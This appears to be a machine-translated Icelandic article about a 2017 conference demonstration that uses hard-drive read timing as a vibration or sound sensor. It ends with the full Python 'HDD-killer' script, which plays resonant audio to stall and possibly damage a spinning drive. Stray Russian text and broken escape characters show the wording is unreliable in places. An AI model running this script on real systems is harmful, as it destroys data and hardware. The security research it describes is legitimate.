Af hverju þú ættir ekki að öskra á harða diskinn þinn

Af hverju þú ættir ekki að öskra á harða diskinn þinn

Á Ekoparty 2017 tölvuöryggisráðstefnunni í Buenos Aires sýndi argentínski tölvuþrjóturinn Alfredo Ortega mjög áhugaverða þróun - kerfi fyrir leynilegar hleranir á húsnæði án þess að nota hljóðnema. Hljóð skráð beint á harða diskinn!

Harðadiskurinn tekur aðallega upp hástyrk lágtíðnihljóð, fótspor og annan titring. Mannlegt tal er ekki enn hægt að þekkja, þótt vísindamenn stunda rannsóknir í þessa átt (talgreining með lágtíðni titringi, sem er t.d. tekinn upp af gyroscope eða HDD).

Hljóð er titringur lofts eða annars miðils. Maður skynjar þær í gegnum hljóðhimnuna, sem sendir titring til innra eyrað. Hljóðneminn er hannaður í grófum dráttum eins og eyra - líka hér er titringur skráður af þunnri himnu sem vekur rafboð. Harði diskurinn verður auðvitað líka fyrir smásæjum titringi vegna sveiflna í loftinu í kring. Þetta er þekkt jafnvel frá tæknilegum eiginleikum HDD: Framleiðendur gefa venjulega til kynna hámarks leyfilegt titringsstig og harði diskurinn sjálfur reynir oft að setja hann í titringsþéttan ílát úr gúmmíi eða öðru einangrunarefni. Af þessu er auðvelt að álykta að hægt sé að taka upp hljóð með HDD. Það eina sem er eftir er að finna út hvernig.

Alfredo Ortega lagði til einstaka útgáfu af hliðarrásarárás, nefnilega tímaárás. Þessi árás byggir á þeirri forsendu að mismunandi aðgerðir séu gerðar á tækinu á mismunandi tímum, allt eftir inntaksgögnum sem gefin eru upp. Í þessu tilviki eru „inntaksgögnin“ titringur leshaussins og HDD disksins, sem tengjast titringi umhverfisins, það er hljóð. Þannig, með því að mæla útreikningstímann og framkvæma tölfræðilega greiningu á gögnunum, er hægt að mæla titring höfuðsins/plötunnar og þar með titring miðilsins. Því lengur sem seinkunin er á lestri gagna, því sterkari titringur á HDD og því hærra er hljóðið.

Hvernig á að mæla titring á harða disknum? Mjög einfalt: keyrðu bara kerfiskallið read () — og skráðu tímann sem það tekur að klára. Nútíma stýrikerfi gera þér kleift að lesa tímasetningu kerfissímtala með nanósekúndu nákvæmni.

Hraði lestrar upplýsinga úr geira fer eftir stöðu höfuðs og disks, sem tengist titringi HDD hulstrsins. Það er allt og sumt.

Tölfræðileg greining er framkvæmd með því að nota einfalt Kscope tól. Eins og þeir segja, allt snjallt er einfalt.

Af hverju þú ættir ekki að öskra á harða diskinn þinn
Kscope tól (stat() syscall)

Kscope er lítið tól til að sjá örlítinn mun á framkvæmdartíma kerfissímtala. Heimildопубликован á GitHub.

Í sérstakri geymslu HDD-tími það er útgáfa af tólinu stillt fyrir tímaárás á harða diskinn, það er stillt til að greina kerfiskallið read ().

Sýning á hljóðupptöku með HDD, rekstur Kscope tólsins


Auðvitað er ekki hægt að skilja tal á þennan hátt, en HDD hentar vel sem titringsskynjari. Til dæmis er hægt að skrá ef einstaklingur í hörðum skóm eða berfættur fór inn í herbergi með tölvu (sennilega, ef árásarmaðurinn er í mjúkum strigaskóm eða það er þykkt teppi á gólfinu, mun HDD ekki geta skráð titring - þetta er þess virði að athuga). Tölvan getur skráð glerbrot eða önnur atvik með sterkum hljóðstyrk. Það er að harði diskurinn getur þjónað sem eins konar óviðkomandi innbrotsskynjunarkerfi.

HDD morðingi

Við the vegur, svipað tækni er hægt að nota til að slökkva á harða diska. Aðeins hér fjarlægjum við ekki sveiflur af HDD, heldur þvert á móti, við búum til sveiflur sem eru færðar til HDD. Ef þú spilar hljóð úr hátalara á tíðni sem hljómar með HDD tíðninni slekkur kerfið fljótlega á tækinu með I/O villu (Linux kjarninn slekkur algjörlega á HDD eftir 120 sekúndur). Harði diskurinn sjálfur gæti orðið fyrir óafturkræfum skemmdum.

Af hverju þú ættir ekki að öskra á harða diskinn þinn
Linux kjarninn slökkti á harða disknum eftir 120 sekúndur eftir að hafa skilað hljóði á ómtíðni í gegnum hátalara Edifier r19u USB hátalara. Kveikt er á hátalaranum á um það bil fjórðungi aflsins (minna en 100 mW) og er hann staðsettur 20 cm frá harða disknum, miðað við borðið til að auka titring. Rammi frá myndband með sýnikennslu á HDD morðingjanum

Það er forvitnilegt að slíkar „árásir“ á HDD eiga sér stundum stað fyrir slysni í daglegu lífi. Til dæmis, í september 2016, neyddist gagnaver ING banka til að stöðva starfsemi í 10 klukkustundir eftir brunaæfingu. Tugir harða diska hafa bilað vegna mikils hljóðs af óvirku gasi sem losnar úr hylkjum undir miklum þrýstingi. Hljóðið var mjög hátt (meira en 130 dB), en þú getur ekki einu sinni öskrað á harða diskana - þetta eykur seinkun á aðgangi að HDD.

Sýning á öskri manneskju á harða diska í gagnaveri. Biðtímamæling


Til að búa til ómunarhljóð skrifaði Alfredo Ortega Python handrit sem heitir HDD-killer (myndbandssýning).

HDD killer handrit Það er frekar lítið, svo þú getur birt það í heild sinni hér.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

Heimild: www.habr.com

Bæta við athugasemd